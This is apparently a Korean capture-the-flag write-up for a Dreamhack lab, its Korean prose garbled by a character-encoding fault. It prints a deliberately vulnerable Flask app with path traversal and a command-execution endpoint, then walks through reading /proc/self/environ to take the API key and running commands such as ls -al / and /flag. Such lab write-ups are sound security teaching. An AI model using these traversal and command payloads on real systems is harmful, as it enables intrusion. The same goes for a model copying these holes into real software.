[2025-07-27] File Vulnerability advanced for Linux
๐ฆฅ ๋ณธ๋ฌธ
- main.py
import os, subprocess
from functools import wraps
from flask import Flask, request
app = Flask(__name__)
API_KEY = os.environ.get('API_KEY', None)
def key_required(view):
@wraps(view)
def wrapped_view(**kwargs):
apikey = request.args.get('API_KEY', None)
if API_KEY and apikey:
if apikey == API_KEY:
return view(**kwargs)
return 'Access Denied !'
return wrapped_view
@app.route('/', methods=['GET'])
def index():
return 'API Index'
@app.route('/file', methods=['GET'])
def file():
path = request.args.get('path', None)
if path:
data = open('./files/' + path).read()
return data
return 'Error !'
@app.route('/admin', methods=['GET'])
@key_required
def admin():
cmd = request.args.get('cmd', None)
if cmd:
result = subprocess.getoutput(cmd)
return result
else:
return 'Error !'
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True)
/file API๋ ์ด์ฉ์๊ฐ ์ ๋ ฅํ๋ ๊ฒฝ๋ก์ ์๋ ํ์ผ์ ์ฝ์ด๋ค์ด๋ API์ด๋ค.
/admin API๋ cmd ํ๋ผ๋ฏธํฐ๋ฅผ ํตํด ์์คํ ๋ช ๋ น์ด๋ฅผ ์คํํ๋ ํ์ผ์ด๋ค. ์ด ๋ @key_required ๋ฐ์ฝ๋ ์ดํฐ๋ฅผ ํตํด API_Key๊ฐ ํ๊ฒฝ ๋ณ์์ ์๋ ๊ฐ๊ณผ ๊ฐ์ ์ง๋ฅผ ํ๋จํ๋ค.
์ฆ, file API๋ฅผ ํตํด /proc/self/environ
์์ ํ๊ฒฝ ๋ณ์๋ฅผ ์์๋ด๊ณ ๊ทธ ํ๊ฒฝ ๋ณ์๋ฅผ ํตํด admin API์ ์ ๊ทผํ์ฌ flag๋ฅผ ์ป์ด ๋ด๋ฉด ๋๋ค.
์ด ๋ ๊ถํ์ ํ์ธํด์ผ ํ๋ ๊ฒ ๊ถํ ํ์ธ ์ํ๊ณ ๊ณ์ cmd ๊ฐ์ cat /flag๋ฅผ ๋ฃ์ผ๋๊น ์คํ์ด ์๋๋ค.
ํ์ด
file?path=../../proc/self/environ
์ ํตํด API_KEY๋ฅผ ๊ฐ์ ธ์จ๋ค.- API_KEY=d22cb18e86fc9e23996650150461c9f794ad3a4f
- admin API์ API_KEY์ cmd๋ฅผ ํ๋ผ๋ฏธํฐ๋ก ์ ๊ทผํ๋ค. ์ด ๋
cmd=ls -al /
์ ์ ๋ ฅํ์ฌ ๋ฃจํธ ๋๋ ํ ๋ฆฌ์ ๊ถํ ๊น์ง ํ์ธํ๋ค.
http://host8.dreamhack.games:8251/admin?API_KEY=d22cb18e86fc9e23996650150461c9f794ad3a4f&cmd=ls -al /
- โxโxโx ๊ถํ์ด๋ฏ๋ก ์คํ๋ง ๊ฐ๋ฅํ๊ณ ์ฝ๊ธฐ ๊ถํ์ ์๋ค ๊ทธ๋ฌ๋ฏ๋ก
cmd=/flag
๋ฅผ ํตํด ์คํ์์ผ์ ์ถ๋ ฅ์ํจ๋ค.
Leave a comment